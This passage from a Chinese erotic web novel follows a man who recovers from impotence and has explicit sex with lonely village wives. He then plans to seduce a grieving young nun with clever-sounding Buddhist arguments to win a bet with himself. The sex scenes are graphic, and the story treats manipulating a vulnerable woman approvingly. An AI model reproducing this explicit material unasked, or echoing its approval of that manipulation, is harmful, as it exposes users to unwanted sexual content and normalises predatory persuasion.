贵玲洗好澡出来,见兰花还在吮志刚小弟弟,便说:“三嫂,你这前戏也太长了,是准备好让我做的吧?”

兰花说:“不是。今天有点奇怪,他怎么起不来呢?”

“起不来?不会吧。他总是喝过酒以后特别厉害,我们两个都对付不了。”

“你看,是不是?”

兰花用手拨弄着小弟弟,那玩艺还像根皮条似的躺着。

贵玲说:“我来试试。”

贵玲用手轻轻揉弄很久,又放到嘴里**,还是没有反应。她看看志刚,志刚双手早已抓住贵玲的乳房,也想做,却力不从心。兰花洗好澡过来,把花蕊放到志刚嘴上,让他舔,搞得兰花汗水涟涟、**炽烈,志刚的小弟弟还是没有动静。

贵玲也想要了。她把志刚一只手的两根手指拿着,放入洞穴。兰花也如法炮制。志刚两只手帮两个女人做了好半天,也没有高潮,只得草草收场。

兰花关心地问:“志刚,你今天怎么了?”

“我也不知道。就是有心无力,它起不来。”

贵玲说:“没关系。每个男人都有过这种情况。过两天就好了。不要放在心上。”

过两天,兰花把春儿叫过来,叫她陪志刚一晚。她想春儿年轻貌美,应该能让志刚产生激情。面对春儿年轻饱满的胴 体,志刚小弟弟起来了,进去以后,还没有射,却又疲软了。打了个哑炮。把春儿难受得大哭,急得志刚还是用手忙活半天,才让她安静下来。

第二天早上,兰花问春儿情况,春儿哭着说志刚哥不行了。兰花和贵玲开始重视起来。她俩到男科医院咨询,医生说各人的情况不一样,有的是心理原因,有的是病理原因,必须要见到患者本人。

两个女人商量,还是问一下玉琴吧,她懂的多。玉琴听了她们的介绍,说:“志刚这么年轻,又那么厉害,你们都见识过的,怎么会这样呢?这不正常。”

贵玲说:“是啊,我们也认为不正常。不信你去试一试。”

玉琴说:“试就不必了,免得做不成难受。我认识一个男科专家,尤其擅长治疗阳萎,可以叫志刚去找她。”

“我们就怕志刚不愿意。他爱面子,这种事又是男人最忌讳的。我们一直偷偷地背着他找医生咨询。”

“是大男人就要直面问题,讳疾忌医怎么行?他如果总是回避,这毛病就治不好,这辈子就别想女人了,老老实实地过日子算了。这样吧,我来和他谈。”

玉琴专程来找志刚,单刀直入地问:“志刚,你需要看医生,知道吗?”

志刚说:“是兰花还是贵玲告诉你的?这种事怎么到处说。”

“怎么的,伤了你男人的自尊心了?我告诉你,今天我来就是伤你自尊的,我要把你伤到底,直到你承认你有病。”

“好好好。”

志刚无奈,“我听你的。你说吧,要我怎么做?”

玉琴给他一个纸条:“这是我一个朋友的电话。她是著名的男科专家,我已经告诉她了,你可以提前一天给她打电话预约。”

志刚听电话里是个女人声音,有点奇怪,便问:“请问你是夏医生本人吗?”

“是啊。玉琴和我说了你要来的。”

志刚心里犹豫一下,对方猜出来了,说:“听见我是女的,不想说了,是不是?”

志刚被说中了心事,志刚脸红了,虽然对方看不见。

“你这样的患者我见得多了。不要怕,女的不是更好吗?尤其是像你这样的症状,见到女医生或许不用治就好了。”

志刚笑了:“我不是这个意思。”

“我说的可是真的。有不少患者见到我就真的好了,回去再也没有反复。”

“真的?你有那么灵验?”

“不是我灵验,而是许多患者其实身体没有病,病是在他的大脑里,是心理问题。”

被她一说,志刚心里轻松了很多:“那好吧,你看我明天什么时间去?”

“明天下午三点吧。”

志刚特意在男科医院门诊大厅的橱窗前停了一会,里面几十个主治医师介绍中,就有夏青,说她擅长治疗阳萎、早泄、举而不坚、坚而不久等病症。怎么看着像贴在电线杆上介绍老军医的小广告似的。志刚心里想。

夏青正在和一位患者交谈,见志刚向她挥手打招呼,知道是他,便三句两句把病人打发走,叫志刚坐过去。

夏青没有戴白帽子,长头发盘在头上做成一个发髻,口罩挂在左耳朵上,脸庞看上去清瘦、精干,还带着医生特有的亲切和耐心,看上去有三十多岁。志刚瞄一眼她的胸,相当挺拔,身材性感。志刚想:看上去不算漂亮,但性感。这就够了。女人要漂亮干嘛?不就是要引起男人的欲望么?所以性感的就是漂亮的。

正胡思乱想,夏青问他了:“你就是冯志刚?”

“是。”

志刚把病历递过去。

夏青随手翻翻病历,问道:“有这种症状多长时间了?”

“没多长时间,大概就两个礼拜吧。”

“两个礼拜?有几次发生这种状况?”

“两三次。”

“两个礼拜**几次?”

“两三次。”

“就是说,这两个礼拜,你每次**都不成功?”

“是的。”

夏青长一副杏仁眼,不大,却很锐利。她看志刚一眼,志刚感到心里一颤。

“你的病史不长,还不有断定有什么问题。你通常在什么情况下**?”

“什么什么情况?”

志刚不懂。

“比如说,是不是经常酒后**?”

“是的。”

“那应该有过做很长时间不射 精,对不对?”

“是的。总想射,可就是射不出来。”

“所以就把女的折腾得受不了,换一个还是受不了?”

“是的。”

“你以为那是你能干是不是?”

“难道不是吗?”

“那样干是最伤男人元气的,知道吧?酒后要少**,那不是健康的习惯。”

“夏医生,那你看我的情况严重吗?”

“说不好。我还要观察。你再过一个月看看,要是还这样,你再来找我。”

志刚回去和兰花、贵玲试了,还是不行。玉琴也来试了,依然不行。他又去找夏青医师。

“你的症状是综合因素造成的。”

夏青说,“首先,你的**习惯要改,以后酒后要不做或者少**。其次,你在**上自信心不足,要增强自信,这是心理因素了。第三,你工作太紧张,整天神经和肌体都处于高度紧张状态,需要放松了。第四,或许你在感情上有挫折,或者说受到严重打击,也会短期产生这种效果。”

志刚说:“夏医生,你看能不能先给我开些伟哥之类的药?”

夏青杏眼圆睁,说:“两个月不行,就想干女人了?你要靠自己的本事来干女人,靠药物算什么男人?你还年轻,不能用这种药。再说了,你的能力没有问题,只有休息好,心态放松,应该会很快恢复的。”

“那你给我开点别的药吧?”

“开什么药?我今天什么药也不给你开。只要你按照我说的做,就能恢复,而且比以前还厉害。”

“真的吗?”

“我会骗我的病人吗?”

“别以为我不懂,医术和医道我都知道一点。所谓医术的术,有相当的份量就是骗。”

“那不叫骗,叫心理**。我问你,我说的第二点,你在**上缺乏自信心,对不对?”

“可能有点吧。”

“不是可能,是肯定有。你的性格缺少侵略性。比如说,你刚认识一个女人产生冲动了,会有什么想法?”

“那能有什么想法。我刚认识她,还敢找她**?”

“当然。你要是敢找她**,不管她答不答应,你的自信就已经体现出来了。你不敢,如果她再骂你一声流氓,我想恐怕你就会阳萎了。”

“是吗?”

志刚一直忌讳“阳萎”这两个字,夏青这一说,激起了他的不满,“那我要说,我想和你**。你愿意吗?”

夏青杏眼看着他,笑了,问道:“你现在有没有反应?”

“反应?”

“下身?”

志刚才注意到下身:“好像有点。”

“我就是让你做,你今天也做不成。但是,你照我的安排去做,等你回来,就一定能做成。”

“你会让我做?”

“别做美梦。我是你的医生。要是每个患者都要靠和他**来治疗,成功率我想会有一些,但我还是医生吗?”

夏青开的方子很简单,就是两个月不喝酒、不和女人**,也不要想女人,把注意力转移到其他事情上。比如出国旅游,旅游时不要泛泛走一遭,也不要到**业发达的地方如泰国等地去,最好是对当地人文历史加以关注,深入了解其风土人情等;还可以选一个考察课题,比如考察黄河源头、考察某少数民族的民歌起源等,回来要写一篇考察报告的;或者花两个月时间学会一项运动,比如高尔夫、赛车等。然后,再找一处自己认为最能平静心灵的地方住一至两周。回来以后,就可以找一个自己最想要的女人**,但是不要在酒后。

志刚问:“这有效吗?”

他有点怀疑这方子的有效性。一点药都不开,叫人去旅游、去考察,这医生谁都会当。

“如果没有效,我会再开别的方子。如果有效,你会比以前还厉害。”

志刚更不相信了:“你还是在两可之间,不敢确定它有效。”

“没有医生会对患者打包票的。”

“好。我就照你说的做。回来我一定来找你。如果有效,我会来找你**;如果无效,我就来找你算账。”

夏青笑眯眯地说:“欢迎。”

志刚想,你的言外之意是:无论是**还是算账,都欢迎。就是答应和我**了。

玉琴、贵玲和兰花都支持志刚接受这个方子。玉琴建议他到欧洲去转一圈,了解一下西方文明的源头,对今后的发展会有帮助。志刚接受了这个建议。

强辉、玉琴、吴明等人找几个对欧洲了解的朋友,为志刚做了一个大旅欧计划,几个主要国家和城市都有朋友接待并导游,一圈下来要一个半月。回来以后,志刚打算回老家去住一两周。这些年忙忙碌碌,只在春节回去匆匆忙忙地过几天,有几个年还没有回去。其实他很想在家乡安安静静地住几天。当夏青和他说找一个最能平静心灵的地方时,他第一时间就想到家乡小冯村。

旅游回来时,志刚从开罗直接飞回上海。和兰花、贵玲吃一顿饭,第二天就独自开车回家乡。离别这么长时间,他见到兰花和贵玲时,已经产生按捺不住的冲动了,但他忍住了,还是等疗程结束再和她们**吧。志刚觉得自己确有变化,要在以前是忍不住的,怎么也要和其中一个**再说,最好是两个都做。

这些年志刚挣钱了,想接父母到上海去享福,可他们不愿意,还是要每天到地里转悠,侍弄侍弄蔬菜,志刚便把房子重盖了。现在老两口住着三层楼,大院子,各种设施齐全,放到上海就是别墅。可老两口觉得房子太空,经常叫大姐二姐带孩子回家住几天。两个姐姐也是留守妇女。

志刚是下午到家的,把车直接开到院子里停下。看见儿子回来了,父亲冯得寿拉着他坐到客厅,问他在外面所做的事。母亲赶紧到地里去铲蔬菜,把院子里晒着的咸肉、咸鱼、咸鸭都拿进来或烧、或蒸、或煮,还杀了一只鸡。

志刚从后备箱搬下几箱16年古井原浆酒,给父亲慢慢喝。母亲把菜端上桌,他打开一瓶酒,给父母都倒上。

志刚端起酒杯,站起来说:“爸、妈,这几年很少回来看你们,让你们牵挂了。我敬你们。”

志刚把酒喝干,坐了下来。母亲流着眼泪说:“你在外面干得好,我们放心。就是到现在还不结婚,怎么办才好?老冯家就你一个男孩,赶快结婚生孩子,延续香火,让我们老两口心里踏实。”

“这个,”

志刚不知道说什么好了。“我争取吧。”

母亲问:“上次来的那个漂亮女孩,叫井儿是吧?能和你结婚吗?”

“妈,她已经结婚了,和我没关系了。”

“那你有没有别的女孩了?”

“没有了。”

“赶快找呀。你都三十多了。”

“好。好。我抓紧找。来,爸,我们喝酒。”

吃过饭,二姐带着12岁的小外侄子来了。外侄叫小勇,缠着志刚要他的手机玩游戏。二姐就嫁到邻村彭家村,离家近。不一会,嫁到陈家村的大姐也回来了,后面跟着14岁的外侄女小洁。小洁叫过舅舅,便和小勇抢手机去了。

大姐志红说:“志刚,你大姐夫在深圳打工,太远了,能不能把他带到上海去?”

志刚说:“这没问题,不过他只能到大志那边还干瓦工。当然,要是他有能力也会提拔的。”

“干瓦工太辛苦,你那边有没有轻松点的活?”

“有是有,不过收入就少了。他可以当门卫,一个月只有一千多块钱。”

“一千多太少了。你就不能给他发多点?”

“这都有规定的,我没有权力多发钱。”

“公司都是你的,你还没有权力?”

“大姐,企业管理的事说了你不懂。我私人可以给姐夫钱,但是公司给他加工资就不行。”

“那就还干瓦工吧。那你看我能不能也过去找个事做?”

“当然可以。只要对工资要求不要太高,工作好安排。”

二姐志春说:“志刚,我和你二姐夫也去吧。”

“好。没问题。”


第005章 慰问留守妇女

第二天,志刚睡到九点多才起床。刚洗漱完毕,大群媳妇李存梅来了。

“志刚兄弟,”

李存梅的嗓门很大,人刚进院子,声音就进屋了,“大群打电话说你回来了,我来看看你。”

志刚赶紧把李存梅让进客厅,见爸妈不在,肯定是到田里去了,便自己给她泡茶。

“志刚兄弟,大群在那边干得怎么样?”

“干得怎么样你还不知道?”

“我哪里知道。他不和我说实话,就怕我跟他到上海去。”

“是啊。你为什么不去上海呢?大群现在是经理,干得不错。”

“其实是我不能去。孩子小,要上学。大群爸身体不好,需要有人照顾。家里的田还要有人种。”

“你不怕大群在外面找小三?”

“那他本事还大了。他不敢。他真要找,我也找。”

“四周围男人都打工去了,你到哪里找?村东那个瘸子你也愿意?上海就不一样了,三十多岁大姑娘没有嫁人的多得是。”

“真的?别骗我了。就大群那熊样,人家能看上他?”

大群媳妇瞪大眼睛。她的眼睛大而漂亮,双眼皮,五官端正,就是皮肤黑点,黑归黑,看上去却细腻光滑。胸部的饱满几乎是每个农村妇女都具备的。细看起来,她也是个黑美人,健康活泼,一看就干活利索。

见她当真了,志刚有心逗她:“真的。我可看见了,有一个城里的白领,一月拿一万多工资,天天找大群出去玩,恐怕都上过床了。说不准哪天就把你一脚蹬掉,娶她了。”

“那可怎么办?志刚,这种事你可要管哪。我在家里辛辛苦苦,天天守空房,最后落得让他给蹬了,冤不冤。”

志刚不敢再开玩笑了,赶紧说:“逗你玩呢。放心吧,大群要是敢不要你,我就要你。”

大群媳妇一拳打到志刚肩上:“志刚你这么坏,故意骗你嫂子。”

志刚见她还要打,身子一让,大群媳妇失去了平衡,扑到他身上。他顺势抱住,这女人圆滚滚的身子抱在怀中像小猪仔似的。她皮肤紧绷绷的,富有弹性,身上有劲,感觉就是经常干农活的。志刚抱稳她,正好和她面对面,想也没想,条件反射般的就吻她的嘴唇。

女人先是一愣,接着便伸出舌头配合志刚吻起来。大半年没有见过男人了,她哪里控制得住。

志刚把她抱起来,进了楼上自己房间,放到床上。女人已经千娇百媚地想要他了,扭动着身子,双腿交叉着磨擦下面的蚌肉。志刚把她衣服一件一件地脱掉,渐渐床上就展现出一个农村少妇健美的裸 体来。她里面的皮肤倒有些白,一双饱满的奶 子富有弹性,手抓上去很有劲道,极有**性。志刚的舌尖轻触着两粒樱桃,这女人哪见过这个,浑身颤抖起来,体内火苗腾腾地升起。她一把抓住志刚的小弟弟,说:“你都这么硬了,怎么还不进来,故意逗老娘吗?”

志刚趴到她身上,她抓着小弟弟迫不及待地放了进去。立刻浑身舒泰,抱住志刚嘤嘤地哼着,以小弟弟为圆心扭动着身体。

志刚加上那几次不成功的经历,至少有三个月没睡女人了。一旦进入,感到那种渴盼很久的快乐又回来了。他感到自己强劲无比,这个女人在身下就是一只猎物,任他**、蹂蹉、进出,他掌控着女人的快乐之源、高潮的闸门,知道她什么时候快来高潮了,并且能够引导其及时爆发。

女人突然间像海浪一般踊动起来,先是胸部往上一挺,胸部落下去时,臀部又往上挺,身体柔软如水、弯曲如波浪,而且不断地变化着、流动着,伴之以响遏云霄、扯直喉咙的呼喊,让志刚担心父母回来听到了。

女人平息下来,志刚没有泄。他知道自己今天厉害,便和女人聊几句,等待她的第二次高潮。

“你多长时间没睡男人了?”

“大半年吧。”

“怎么不找一个临时伴侣呢?”

“你刚说了,好男人都出去打工了,我到哪里找去?像那瘸子送给我都不要。”

“你对男人要求还挺高嘛。”

“当然。不是遇见你,我就要守到春节了。”

“真可怜。”

“就是可怜。一个女人正常的性要求都不能满足。”

“你有没有用东西自己解决呢?”

“**?当然有。黄瓜、茄子、瓠子,都用过。大群还给我带回来过人造那玩艺呢,用着挺好的。”

“大群不赖,还想起为你买这个?”

“是,嫁给大群我也满足了。他挺为我想的,知道带什么好东西,都不如带这个。他知道我想要什么。”

志刚感到小弟弟被她的贝肉夹紧了点,一松一紧地动,知道她高潮又要到了,便不说话了,用劲快速一进一出地运动。女人“啊——”

一声长啸,拼命与志刚对冲,直至筋疲力尽,瘫在床上。

好久,女人说:“志刚。”

“嗯。”

“你真厉害。”

“是吗?”

“在家要呆几天吧?”

“这次时间挺长,要呆两个礼拜。”

“多睡几个女人吧。好不好?我求你了,让这些女人解解渴。”

“我又不是种马,哪能睡那么多女人?还不被你们给吸干了回去。”

“你就陪我和我表妹,好不好?你想睡多我还舍不得呢。”

“你表妹是谁?”

“是大明媳妇。想男人想得苦,经常和我一起用黄瓜互相玩。”

第二天上午,志刚按大志媳妇说的方位,找到大明家。李存梅已经和大明媳妇在等着了。

大明媳妇个子不高,估计差不多一米五五,小巧玲珑,眉眼也小巧,惹人喜爱。胸部也小巧,看上去不大,但是饱满结实。见志刚看她的胸,她脸红了,不好意思地低下头。志刚才知道她这么害羞。

李存梅把志刚拉到一边,悄悄地说:“我这个表妹害羞,不主动,你主动点。”

大明媳妇给志刚泡好茶,志刚问她:“你叫什么名字?”

她脸又红了,笑着不语。李存梅说:“她叫红霞,赵红霞。”

“红霞。好名字。霞光映红天空,天天早上太阳从黛山上升起,都是你的名字。”

红霞的脸更红了,像一匹红布一样,头也低得更低了。她越这样,就越惹得志刚情欲炽烈。

“哟。”

李存梅说,“志刚还会做诗了。我还有点事,出去一会就来,你和红霞好好聊聊。”

李存梅把门带上走了。志刚见红霞还红着脸低着头不说话,便问:“你就一个人住吗?”

李存梅不在,那小媳妇这才不得不回答:“公公婆婆住到大明弟弟家去了。他们流轮住我们两家。”

“你还没有孩子吗?”

“没有。”

“结婚几年了?”

“两年。”

“还算是新媳妇,难怪这么害羞。”

志刚想,这样不行,一问一答的,没有任何动作。他坐到红霞身边,伸右手搂住她肩膀,红霞稍微推一下,就让他搂了,并且反过来搂住他。志刚想:心里面还是热的。一定是渴急了。他扳过红霞的脸就吻。她的小嘴和井儿的小嘴堪媲美,甜而香。

被志刚一吻,女人就忘记羞涩了,舌头灵动地和他对吻起来。志刚边吻边把她衣服脱掉,小小的乳房果然饱满而坚挺,结实有力,弹性十足,而且非常敏感,稍微一捏,她就哼哼起来。志刚的手进入下面的洞穴,那里早已洪水泛滥了。

志刚感到三个月不睡女人,好像**的控制力反而提高了。和昨天一样,他完全控制了身下这个女人,知道她如何快乐、如何来高潮。他也同样让她来两次高潮才让自己爆发。过去虽也能这样,却都是在酒后,而且可遇不可求,这两天两次却是想怎样就能怎样。他想起夏青说的,疗程结束后他的能力可能会更上一层楼,看来所言不虚。

想起夏青,志刚的身体内部立刻又有了反应。他知道自己渴望和夏青**,却不知她是不是真的愿意。

大群媳妇推门进来了,还赤 裸着抱紧志刚的红霞更害羞了,把脸埋进了志刚的胸前。大群媳妇笑了,说:“表妹,你事都做了,还有什么不好意思的?你满足了,我还饿着呢,赶快让开。”

说着,她脱 光衣服,抱住志刚立刻就让他进入。她在外面窥视许久,志刚和红霞做的时候她就从厨房拿一根茄子做,早就等不及了。

志刚把大群媳妇送到高潮后,还有余力,见红霞在一边偷看又躲避他们目光的样子,好笑又可爱,就对大群媳妇说:“我再干她一次吧。让她过足瘾。”

大群媳妇心疼表妹,答应了。志刚便又把红霞送上了云端。

经过两天的检验,志刚知道夏青的方子确实管用,心里踏实了,而且空前地自信。他想,夏青总说我不自信,要是能睡到一个不可能睡到的女人,我的自信心可就爆棚了。这几天有机会检验一下就好了。

但是,在乡村里饥渴的女人多的是,还有谁是不可能睡到的女人呢?

志刚拒绝了大群媳妇下午再给他安排两个女人的要求。他现在相信夏青说的话了,**要有节奏、有规律,不能太滥,也不能太少。上午让两个女人来四次高潮,自己也泄了两次,总时间有三四个小时,下午虽然再来三个小时他有自信,但是不要太放纵。好东西是要品的,不能囫囵吞枣、不知其味。

中午红霞烧了几个菜,两个女人陪志刚喝一点酒。饭后,志刚告别她们,信步往彭家村对面的黛山上走去。

黛山因其上面多黑色石头而得名,据说这种石头含有一种稀有金属,这种金属制成的合金轻而结实,用在第四代隐身飞机上,对国防工业具有重要意义。地方政府正和相关部门洽谈合作开发事宜。这座山属于大别山余脉的延伸,海拔300多米,树木葱茏、云雾缭绕,看上去大有玄机,因而半山腰有一座尼姑庵,山顶有一座和尚庙。

志刚沿着石阶信步往山上走,一边观赏着景色。很久没有这样悠闲的心情和充足的时间走这条小道了,上一次上山玩,还是上初中时和几个同学一起去的。记得那时尼姑庵刚刚恢复不久,还是个新盖的茅草屋,原来的庵在**时被烧毁了。几个被赶出去还俗十几年的老尼姑又回来了,在里面打坐念经,香火也不盛,还没有**前的一半光景。这几个尼姑志刚都认识,她们还俗时嫁到了周围几个村庄,彭家村也有一个,而且都生了小孩。当时志刚想,她们出入红尘就这么简单?第二次当尼姑,就不想男人和孩子、不留恋世俗的生活吗?

天气很晴朗,让人心情大好。尤其是志刚在三个月没有与女人**后,上午一下子做了两个健康壮实的村妇,一时觉得生活是太美好了。阳光照耀着山上浓绿的树林和嫩绿的竹林,在风中起伏的山林把阳光掀起又放下,漏出大片小片的阳光碎片在地面上。空气中纤尘不染,湿度适中,呼吸起来好像肠子里胃里肺里甚至血液里都被清洗干净了。

走了一个多小时,志刚身上已经被汗湿透。山风吹来,衣服贴在身上冰凉。他想,赶紧到尼姑庵里去休息一下,避避风,把衣服捂干,否则再让山风吹一会,非感冒不可。

尼姑庵已经不远了,再走十几分钟就到。志刚小便胀了,便到路边想找个地方解决。刚转过一片巨石,却听见石头后面传来一阵阵女人嘤嘤的哭声,他停下来,悄悄伸头观看,却看见一个光头尼姑,坐在一块石头上,低头饮泣。他想,他妈的真是晦气,刚想小便却碰上个尼姑在哭,小便都撒不成。便回头穿过石阶路,到另一边的树林里解决了。

回到路上,志刚想,这个尼姑为什么在这哭?出家人四大皆空,还能有什么想不开的呢?她不会要自尽吧?她前面不远就是悬崖,莫不真是想跳下去?

志刚越想越不放心,便又走到大石头后面观察,那尼姑已经不哭了,只是不断地抽蓄。志刚想了想,朗声说:“山中何所有,岭上多白云;只可自怡悦,不堪持赠君。这位师太好自在啊。”

那尼姑明显吓一跳,回过头来,志刚竟然看见一张清秀脱俗的脸,梨花带雨,更添神韵。

尼姑站了起来,僧衣下的身材却又意外地曼妙,高挺的**把宽大的僧衣竟然顶得像时装般的有魅力。看她的年纪,最多三十岁。志刚想,这么年轻貌美的女孩子,不是经历刻骨铭心的痛苦,怎么可能出家呢?

志刚装作不知道她刚才哭泣,走到她跟前,双手合十,问道:“请问师太法号?”

那尼姑赶紧双手合十,低头鞠躬,说道:“贫尼静圆,打扰施主了。罪过,罪过。”

“没有没有。”

志刚摇着手说,“是我打扰师傅清修了。抱歉,抱歉。”

看着尼姑不食人间烟火的美丽脸庞,志刚下身竟然发热了。他心里说,罪过罪过,我怎么对她产生了冲动?

转念一想,对了,这不就是最不可能睡到的女人吗?我要是把她睡了,夏青还能说我没有自信?

可是,他不得不承认,这事还真是几乎不可能办到。她要是有**或者杂念,怎么会出家?

志刚的性格本来有点软,碰到这种事一般都会放弃。可在欧洲旅游一个多月后,他有很多收获和感悟,其中之一就是无论什么情况一定要强大。实力和体力未必强大得了,但是心灵却是能够强大的。所以这一次他不想放弃。他和自己打了个赌:如果把这个尼姑睡到了,今后发展一定无量;如果睡不到,那就认命吧,前途只能到头了。

志刚依然双手合十,说道:“我有几个问题,多年想不通,想请教静圆师太。”

静圆还是双手合十、鞠躬:“有什么事请讲,或许我不能指点迷津,但愿能为你分担烦恼。”

“请问,出家人为什么要避住深山?”

静圆一愣,有些意外。这个问题只有小孩才可能问,静圆从没有听人问过,所以也从没有答案。或许人们心里已经形成定式了,认为出家人就是住在深山,否则就不叫出家。

“深山清静,远离尘世,利于清修,斩断尘缘。”

静圆反应还挺快,及时回答出来了。

“师太难道没有听说过,心远地自偏吗?““是的。但是那需要有极深的修为才行,我们道行浅的却无法做到。”

“如果说道行浅的必须要到深山才能清修,那么俗家人道行更浅,想参佛岂不是就是无用了?可事实是俗家人拜佛的比你们在深山清修的多很多,这你怎么解释?”

静圆不好回答了,志刚还不依不饶:“如果说俗家人参禅无用,那么听凭他们这样做而不去点醒,你们就是骗他们;如果说他们参禅有用,那么你们躲进深山清修就是骗自己。”

静圆只得说:“各人有各人的佛缘,与佛有缘在哪里清修都一样。”

“既然师太这样说,那么是不是在庵里出家和在家里种田没有区别?”

“施主伶牙俐齿、思维敏捷、见解独特,让贫尼如醍醐灌顶,获益匪浅。”

志刚看着她那乳峰撑起的僧服,心里说,你根本就不应该出家。但话说出口,却是另一种样子了:“得罪了。静圆师太,我还有一个问题请教。”

“请讲。”

“是不是信佛就当苦行,参禅必须禁欲?”

“这倒未必,如何参佛当以各人自便。”

“既然如此,那么为什么和尚和尼姑就不能结婚?我认为这不是佛法的真谛。”

“请指教。”

“佛经上说,人的肉身只是一副臭皮囊,是吧?”

“是的。”

“很多先辈大师,历尽灯红酒绿、醉死梦生、男欢女爱,有一日幡然省悟,便可立地成佛。比如一灯大师,甚至原为王子的佛祖也是如此。对不对?”

“是的。”

“那么是不是就没有必要过早地在年轻时就出家,等享尽了荣华富贵、人间欢乐以后再参佛也不晚?”

“那……也不尽然。”

“可事实就如此啊。所以我认为,这些外在的形式,比如出家,穿上僧服,吃素,禁欲等等,都与佛无关也无缘。如能悟透禅理,你这副臭皮囊是什么样的形式,以及它穿什么、住在哪里、吃荤还是吃素、禁欲还是纵欲,其实都没有区别。”

“施主这样说,贫尼认为有所不妥。”

“不妥?有什么不妥?我觉得很正确啊。菩提本无树,明镜也非台;本来无一物,何处惹尘埃。这是六祖慧能的参悟,应该不错的吧?”

“不错。”

“既然本来无一物,你这副臭皮囊无论做了什么,不是也等于没做吗?”

说到这里,志刚忽然打了一个很响亮的喷嚏:“啊——嚏!”

接着,又连打了三个喷嚏:“啊嚏!啊嚏!啊嚏!”

静圆赶紧说:“施主好像感冒了。这里山风大,我们还是到庵里再叙,贫尼继续聆听指教。”

志刚赶紧双手合十:“指教可不敢当。只想和师太探讨一二就知足了。我认为,尘缘当断则会自断,不可强为。如果强制割断尘缘,是违背佛理的。”

静圆说:“走吧,我们到庵里再说。”

志刚跟着静圆往上走一会就到了。这个庵叫白云庵,现在已经翻盖成高大的砖墙瓦顶了,有好几进,每两进之间都有一处院落。志刚一进大门,便对供奉的主佛——他也不知道是什么佛——磕了几个头,进了几柱香,并向功德箱里捐了100块钱,然后跟着静圆一起走过好几进房屋和院落,进了最后一进屋偏门的茶室。茶室里有几张方桌和凳子,有一张桌子已经坐了一个尼姑和两个女香客。静圆带志刚到靠窗的一张桌子边,叫志刚稍等,便给他泡茶。

静圆泡好一壶茶,给志刚的茶杯斟满,说:“施主先喝点茶热热身子,你已经有感冒迹象了。”

志刚不好拒绝她的关心,便端起茶杯,吹吹热气,浅浅地呷了一口。

静圆说:“我听施主的意思,好像是责怪我不该出家?”

“这倒不是。我不知道你为何出家,怎么能妄断呢。不过,我想你一定是经历了人生的巨大变故才会出家的。”

“是啊。对尘世绝望,尘缘已了,只有出家了。”

“其实你的尘缘还没了。”

志刚决定出击了,目光锐利地直视着她的一双妙目,说。

“何以见得?”

“你心中一定还牵挂着什么人。或者是父母兄弟姐妹,或者是出家前与你渊源很深的男人,或者是你的闺蜜朋友。对不对?”

静圆现在真怕志刚问她“对不对”了。看得出来,她的心态已经被志刚一番歪理妙论搅乱了,开始怀疑自己的想法。其实志刚是见她在背人处哭泣,才作如此猜测的,她还以为志刚真有什么法术或者道行,难道他是世外高人?

见她说不出话了,志刚知道自己猜对了。他想,见好就收吧。再胡吹下去,自己那点知识和见解也就卖完了,恐怕立马就会露馅。

静圆歪头想了想,说:“我感觉你说的与众不同、见解新颖,悟性颇高,但好像又是歪理,却又驳你不倒。”

志刚笑了,说:“每个人心中都有自己的佛,本来就是与众不同。你说我见解新颖,就说明我有所参悟,或许比你更与佛有缘。参佛就是各参各的,各有各的收获,才叫参悟,才能参透。如果和别人一样,是拾人牙慧,那么就是把佛经倒背如流,也是与佛无缘。”

志刚感觉自己赢了第一回合。静圆刚才歪头想问题,无意中尽显女儿神态,失去了她一直保持的庄严宝像。志刚立刻明白,她真的是尘缘未了


第006章 白云庵

志刚打算告辞,一站起来,忽然觉得天旋地转,又跌坐下去,而且坐都坐不住了,双手努力扒在桌子上,才使自己没有摔倒。

静圆见志刚一跤跌了下去,吓一跳,连忙伸手去扶,他已经扒在桌子上了。静圆伸手摸志刚的额头,发现烫手。尼姑多有学点中医的,静圆也学了,她估计志刚发烧有四十度,便说:“你已经患重感冒,现在不能走。我给你熬点中药喝下去,睡一觉,发一身汗,明天早晨就能好。”

志刚说:“不,我要回去。父母看不到我回去会着急的。”

静圆说:“没关系的。我叫庵里的香客下山顺便到你家去说一声。你家在哪里?叫什么名字?”

“小冯庄,我叫冯志刚。”

志刚没想到真感冒了。也难怪,大汗淋漓再让山风一吹,谁都会感冒。当然,这也拜静圆所赐,不是发现她在巨石后面哭泣,然后站在山风里说了半天佛理,恐怕还不至于感冒发烧。不过,志刚心想,这说明咱俩有缘。

静圆把志刚扶到前面客房睡倒,志刚昏昏沉沉地睡着了。静圆把他叫醒时,感觉睡很长时间了,其实只有半个小时。静圆端来一碗稀饭,一碟咸菜,叫他趁热喝下去。喝完稀饭,静圆给他盖好被子,他又昏昏沉沉地睡着了。

不知道又睡一多长时间,志刚又被静圆摇醒,叫他喝药。药很苦,肯定没有放糖,志刚也无力管那么多,一口气把药喝完,倒头又睡着了。

再一次醒来,志刚发现天亮了,阳光照在窗棂上很耀眼。他坐起来,感觉头不晕了,但还有些沉,身体也比昨天轻松一些,却发现静圆伏在床边睡着。他起身晃动了床,静圆也醒了,抬头见他坐了起来,问道:“你好了?感觉怎么样?”

“好多了。你昨晚没有睡吗?”

静圆脸红了:“你夜里做噩梦,大喊大叫,把被子也蹬掉了。我怕你再受凉病情加重,就看着你,扒这里睡着了。也算休息好了。”

志刚哪里知道昨夜静圆有多担心。他一口气喝下去的药,开始太烫,静圆是吹了好半天,用嘴试了无数次才给他喝的。

静圆说:“你不要下床,先靠一会,我去端稀饭来给你喝。吃过饭再喝一次药,然后再睡觉发汗。中午还要吃药,估计下午你就能自己走回去了。”

志刚看着静圆有点浮肿的眼睛说:“你真是尘缘未了。我现在看你感觉就像是小妹妹,哪里是尼姑。”

静圆的脸又红了,志刚趁热打铁,说:“脸红就证明我说对了,你要是心如止水就不可能脸红。和我说说你的事,好吗?”

静圆的脸沉下去了:“对不起。我不想说。”

“我知道,肯定是难以想象的极大的痛苦,所以你不想说,否则还有什么样的力量能使你这样美貌的女孩子竟然出家做尼姑呢?”

志刚一番理解的话,又隐密而恰到好处地恭维了一下静圆的美貌,说到静圆心里了。即便身为尼姑,说她美貌她也是心里很受用的。

静圆为志刚端来稀饭,看着他吃完了。又端来药水,让他喝完。扶他睡倒,再盖好被子。毕竟是病体虚弱,一会儿,志刚又睡着了。

再醒来的时候,志刚发现身上服衣被汗湿透了,知道感冒基本好了。吃过午饭,再喝完药,他便和静圆告辞。静圆扶他走出庵门,发现他走路还不稳,便没有放手,一直扶着他走。他自己也感到腿还发飘,也就让静圆扶着。志刚还虚弱,懒得说话,静圆也一路上没怎么说话,他们却感到很自然,好像已经认识多年了,心心相通似的。

